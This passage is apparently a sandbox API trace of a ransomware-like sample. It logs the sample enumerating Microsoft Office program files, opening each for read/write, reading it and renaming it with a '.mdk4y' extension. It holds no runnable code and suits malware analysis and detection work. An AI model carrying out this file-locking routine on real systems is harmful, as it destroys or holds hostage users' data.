[0226.078] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x9f368, lpOverlapped=0x0) returned 1 [0226.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830132300000) returned 1 [0226.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830132300000) returned 1 [0226.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MODELENG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\modeleng.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MODELENG.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\modeleng.dll.mdk4y")) returned 1 [0226.101] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.101] AreFileApisANSI () returned 1 [0226.101] GetACP () returned 0x4e4 [0226.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MORPH9.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MORPH9.DLLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0226.101] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MORPH9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\morph9.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830133200000) returned 1 [0226.102] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x9a790, lpOverlapped=0x0) returned 1 [0226.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830135500000) returned 1 [0226.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830135500000) returned 1 [0226.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MORPH9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\morph9.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MORPH9.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\morph9.dll.mdk4y")) returned 1 [0226.146] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.146] AreFileApisANSI () returned 1 [0226.146] GetACP () returned 0x4e4 [0226.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MPXINT.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MPXINT.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0226.146] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MPXINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mpxint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830137800000) returned 1 [0226.148] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x32960, lpOverlapped=0x0) returned 1 [0226.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830140200000) returned 1 [0226.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830140200000) returned 1 [0226.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MPXINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mpxint.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MPXINT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mpxint.dll.mdk4y")) returned 1 [0226.177] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.177] AreFileApisANSI () returned 1 [0226.177] GetACP () returned 0x4e4 [0226.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACC.OLB", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSACC.OLBL", lpUsedDefaultChar=0x37dfd8) returned 9 [0226.177] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830140800000) returned 1 [0226.178] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa5580, lpOverlapped=0x0) returned 1 [0226.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830142500000) returned 1 [0226.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830142500000) returned 1 [0226.204] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb.mdk4y")) returned 1 [0226.206] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.206] AreFileApisANSI () returned 1 [0226.206] GetACP () returned 0x4e4 [0226.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSACCESS.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSACCESS.EXE", lpUsedDefaultChar=0x37dfd8) returned 12 [0226.206] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830143700000) returned 1 [0226.208] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0226.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830146100000) returned 1 [0226.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830146100000) returned 1 [0226.260] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.mdk4y")) returned 1 [0226.262] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.262] AreFileApisANSI () returned 1 [0226.262] GetACP () returned 0x4e4 [0226.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msaccess.exe.manifest", cchWideChar=21, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="msaccess.exe.manifestworkflowactions.proxy.dll", lpUsedDefaultChar=0x37dfd8) returned 21 [0226.263] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830149300000) returned 1 [0226.263] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x566, lpOverlapped=0x0) returned 1 [0226.339] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830156900000) returned 1 [0226.339] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830156900000) returned 1 [0226.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest.mdk4y")) returned 1 [0226.342] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.342] AreFileApisANSI () returned 1 [0226.342] GetACP () returned 0x4e4 [0226.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSAEXP30.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSAEXP30.DLL.manifest", lpUsedDefaultChar=0x37dfd8) returned 12 [0226.342] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSAEXP30.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msaexp30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830157300000) returned 1 [0226.343] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x14188, lpOverlapped=0x0) returned 1 [0226.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830157400000) returned 1 [0226.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830157400000) returned 1 [0226.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSAEXP30.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msaexp30.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSAEXP30.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msaexp30.dll.mdk4y")) returned 1 [0226.348] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.348] AreFileApisANSI () returned 1 [0226.348] GetACP () returned 0x4e4 [0226.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSCOL11.INF", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSCOL11.INFL", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.348] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830158000000) returned 1 [0226.350] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa4c, lpOverlapped=0x0) returned 1 [0226.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830159400000) returned 1 [0226.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830159400000) returned 1 [0226.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf.mdk4y")) returned 1 [0226.367] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.367] AreFileApisANSI () returned 1 [0226.367] GetACP () returned 0x4e4 [0226.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSCOL11.PPD", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSCOL11.PPD", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.367] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830159800000) returned 1 [0226.368] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1aad, lpOverlapped=0x0) returned 1 [0226.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830160800000) returned 1 [0226.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830160800000) returned 1 [0226.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd.mdk4y")) returned 1 [0226.381] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.381] AreFileApisANSI () returned 1 [0226.381] GetACP () returned 0x4e4 [0226.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7cm_en.dub", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7cm_en.dubnifest", lpUsedDefaultChar=0x37dfd8) returned 15 [0226.381] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830161200000) returned 1 [0226.382] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xe00, lpOverlapped=0x0) returned 1 [0226.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830162800000) returned 1 [0226.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830162800000) returned 1 [0226.399] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub.mdk4y")) returned 1 [0226.400] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.400] AreFileApisANSI () returned 1 [0226.400] GetACP () returned 0x4e4 [0226.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7cm_es.dub", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7cm_es.dub", lpUsedDefaultChar=0x37dfd8) returned 15 [0226.401] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830163200000) returned 1 [0226.402] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa00, lpOverlapped=0x0) returned 1 [0226.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830166500000) returned 1 [0226.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830166500000) returned 1 [0226.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub.mdk4y")) returned 1 [0226.459] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.459] AreFileApisANSI () returned 1 [0226.459] GetACP () returned 0x4e4 [0226.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7cm_fr.dub", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7cm_fr.dub", lpUsedDefaultChar=0x37dfd8) returned 15 [0226.459] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830169100000) returned 1 [0226.461] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa00, lpOverlapped=0x0) returned 1 [0226.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830169200000) returned 1 [0226.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830169200000) returned 1 [0226.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub.mdk4y")) returned 1 [0226.464] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.464] AreFileApisANSI () returned 1 [0226.464] GetACP () returned 0x4e4 [0226.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7en.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7en.dlldub", lpUsedDefaultChar=0x37dfd8) returned 12 [0226.464] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.464] AreFileApisANSI () returned 1 [0226.464] GetACP () returned 0x4e4 [0226.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7es.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7es.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0226.464] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.464] AreFileApisANSI () returned 1 [0226.464] GetACP () returned 0x4e4 [0226.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7fr.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7fr.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0226.464] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.464] AreFileApisANSI () returned 1 [0226.464] GetACP () returned 0x4e4 [0226.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7wre_en.dub", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7wre_en.dubifest", lpUsedDefaultChar=0x37dfd8) returned 16 [0226.465] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830169600000) returned 1 [0226.466] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x19400, lpOverlapped=0x0) returned 1 [0226.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830173900000) returned 1 [0226.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830173900000) returned 1 [0226.510] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub.mdk4y")) returned 1 [0226.512] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.512] AreFileApisANSI () returned 1 [0226.512] GetACP () returned 0x4e4 [0226.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7wre_es.dub", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7wre_es.dub", lpUsedDefaultChar=0x37dfd8) returned 16 [0226.512] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830174300000) returned 1 [0226.514] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc00, lpOverlapped=0x0) returned 1 [0226.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830176500000) returned 1 [0226.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830176500000) returned 1 [0226.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub.mdk4y")) returned 1 [0226.537] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.537] AreFileApisANSI () returned 1 [0226.537] GetACP () returned 0x4e4 [0226.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mscss7wre_fr.dub", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mscss7wre_fr.dub", lpUsedDefaultChar=0x37dfd8) returned 16 [0226.537] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.538] QueryPerformanceCounter (in: 